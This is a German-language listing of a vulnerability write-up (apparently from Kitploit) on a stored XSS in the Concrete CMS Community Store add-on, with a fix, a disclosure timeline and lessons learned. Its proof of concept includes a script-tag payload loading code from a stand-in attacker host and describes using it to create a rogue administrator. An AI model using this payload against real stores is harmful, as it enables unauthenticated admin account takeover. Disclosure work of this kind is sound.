Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-93659-writeup — Stored XSS im Concrete CMS Community Store führt zur Übernahme des Admin-Dashboards | Kitploit
Tools/GitHubGitHub/prince325/cve-2026-93659-writeup
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPapers & ForschungLernen & BildungKuratierte Ressourcen
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

Stored XSS im Concrete CMS Community Store führt zur Übernahme des Admin-Dashboards

Repository anzeigen
1vor 5h 37mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-93659: Gespeichertes XSS im Concrete CMS Community Store führt zur Übernahme des Admin-Dashboards

Zusammenfassung

CVECVE-2026-93659
Komponenteconcretecms-community-store/community_store
TypGespeichertes Cross-Site Scripting (CWE-79)
SchweregradCVSS v4.0 9.3 Kritisch / v3.1 8.7 Hoch
BetroffenAlle Versionen vor 2.7.8
Behoben in2.7.8
DanksagungPrince Edem Fiagbedzi (Finder)

Community Store, ein Open-Source-E-Commerce-Add-on für Concrete CMS, speicherte kundenseitig bereitgestellte Bestellfelder ohne Bereinigung und gab sie ohne HTML-Escaping in vier adminseitigen Ansichten aus. Jeder nicht authentifizierte Besucher konnte eine Bestellung mit einer Script-Nutzlast in einem Feld wie dem Vornamen der Rechnungsadresse aufgeben, und die Nutzlast würde in der authentifizierten Dashboard-Sitzung eines Store-Managers ausgeführt, sobald dieser die Bestellung öffnete – genug, um ein betrügerisches Administratorkonto anzulegen oder Sitzungsdaten zu exfiltrieren.

Was betroffen ist

Jede Bestellung enthält kundenseitig bereitgestellte Felder: Vorname, Nachname, E-Mail und Telefonnummer der Rechnungs-/Lieferadresse. Diese Felder werden unverändert gespeichert und an vier Stellen wieder ausgegeben, die ein Store-Manager routinemäßig einsehen kann:

  • die Admin-Bestellansicht (single_pages/dashboard/store/orders.php)
  • den druckbaren Bestellschein (elements/order_slip.php)
  • den Verkaufsbericht (single_pages/dashboard/store/reports/*.php)
  • die kundenseitige Checkout-Bestätigungsseite (single_pages/checkout/complete.php)

Entscheidend ist, dass das Aufgeben einer Bestellung kein Konto erfordert. Die Gast-Checkout-Einstellung von Community Store ist standardmäßig auf always gesetzt, und zwar durch den Installer des Pakets selbst bei jeder Neuinstallation, nicht etwas, wofür sich ein Store-Betreiber entscheiden muss. Es handelt sich also nicht um einen Bug, der einen fehlkonfigurierten Store erfordert; er ist gegen eine standardmäßige, out-of-the-box-Installation ausnutzbar, ohne Anmeldedaten.

Gegenmaßnahme

Aktualisieren Sie Community Store auf 2.7.8 oder später. Der Fix fügt ordnungsgemäßes Output-Escaping an allen vier betroffenen Render-Stellen hinzu. Es gibt keinen Konfigurations-Workaround außer dem Upgrade, da das verwundbare Verhalten das Escaping selbst ist, kein Schalter.

Technische Details

Keine der vier Render-Stellen escapte die kundenkontrollierten Felder. Eine repräsentative Zeile aus der Admin-Bestellansicht:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Kein h()-Aufruf, Concretes Standard-Helfer für Output-Escaping, in der Nähe, obwohl dieselbe Datei h() einige Zeilen weiter für andere Werte korrekt verwendete. Die Eingabevalidierung war nicht besser: Die einzige Prüfung, die auf diese Felder angewendet wurde, war ein Längenlimit (1-255 Zeichen), nichts, was HTML entfernte oder ablehnte.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

Eine <script>-Nutzlast unter 255 Zeichen im Feld für den Vornamen der Rechnungsadresse passiert die Validierung unberührt, wird gespeichert und später unescaped gerendert, wo immer ein Admin die Bestellung einsehen kann.

Der Gast-Checkout-Standardwert wird direkt im Installer gesetzt:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

Der Checkout-Controller erzwingt eine Anmeldung nur, wenn diese Einstellung off ist (oder option ohne Gast-Flag), und mit dem installierten Standardwert wird dieser Zweig nie ausgelöst.

Proof of Concept

Getestet gegen Community Store v2.7.7 auf Concrete CMS 9.5.2 (selbstgehostetes Docker-Lab, PHP 8.3). Nutzlast als gewöhnlicher Gast-Checkout übermittelt, ohne jegliche Authentifizierung:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. Der Angreifer übermittelt einen normal aussehenden Checkout mit der obigen Nutzlast. Kein Konto, keine Sitzung, keine Cookies.
  2. Ein Store-Manager öffnet Dashboard > Store > Orders und sieht sich die Bestellung an (die Nutzlast wird gleichermaßen vom Bestellschein, vom Verkaufsbericht oder von der Bestätigungs-E-Mail des Kunden ausgelöst; jeder der vier unescapten Render-Pfade funktioniert).
  3. Das Script wird mit der authentifizierten Sitzung des Store-Managers und dem CSRF-Token ausgeführt. Um echte Auswirkungen zu bestätigen und nicht nur eine Alert-Box, habe ich die Nutzlast selbst gehostet, wie es ein externer Angreifer tun würde, und sie verwendet, um programmatisch das Formular „Administrator hinzufügen" aus dieser Sitzung heraus abzusenden, wodurch eine einzelne bösartige Bestellung zu einer vollständigen Übernahme des Admin-Kontos wurde.

Offenlegungs-Zeitplan

  • Über eine private GitHub-Sicherheitsberatung an den Maintainer gemeldet
  • Fix von Ryan Hewitt als Commit 2a802d6 ausgeliefert, der h()-Escaping an allen vier betroffenen Render-Stellen hinzufügt
  • Fix im v2.7.8-Release enthalten
  • CVE-2026-93659 über VulnCheck als CNA veröffentlicht, mit Danksagung an mich als Finder

Erkenntnisse

  • Output-Escaping muss konsistent über jeden Render-Pfad für einen gegebenen Wert angewendet werden, nicht nur über die offensichtlichen. Dieser Bug wurde jahrelang ausgeliefert, weil drei der vier Render-Stellen offenbar nie erneut überprüft wurden, nachdem die vierte korrekt behandelt worden war.
  • „Erfordert ein Konto" ist keine sichere Annahme, auf der man ein Threat Model für ein Add-on mit konfigurierbarem Gastzugang aufbauen sollte. Prüfen Sie den tatsächlich ausgelieferten Standardwert, nicht die theoretisch sichere Konfiguration.
  • Marketplace-/Community-Add-ons für beliebte CMS-Plattformen sind ein guter Ausgangspunkt für Bug-Hunting: echte Installationsbasis, tatsächlich weniger auditiert als der Core.

Referenzen

  • CVE-2026-93659
  • Fix-Commit 2a802d6
  • v2.7.8-Release-Notes
  • Community Store Repository
Tool herunterladen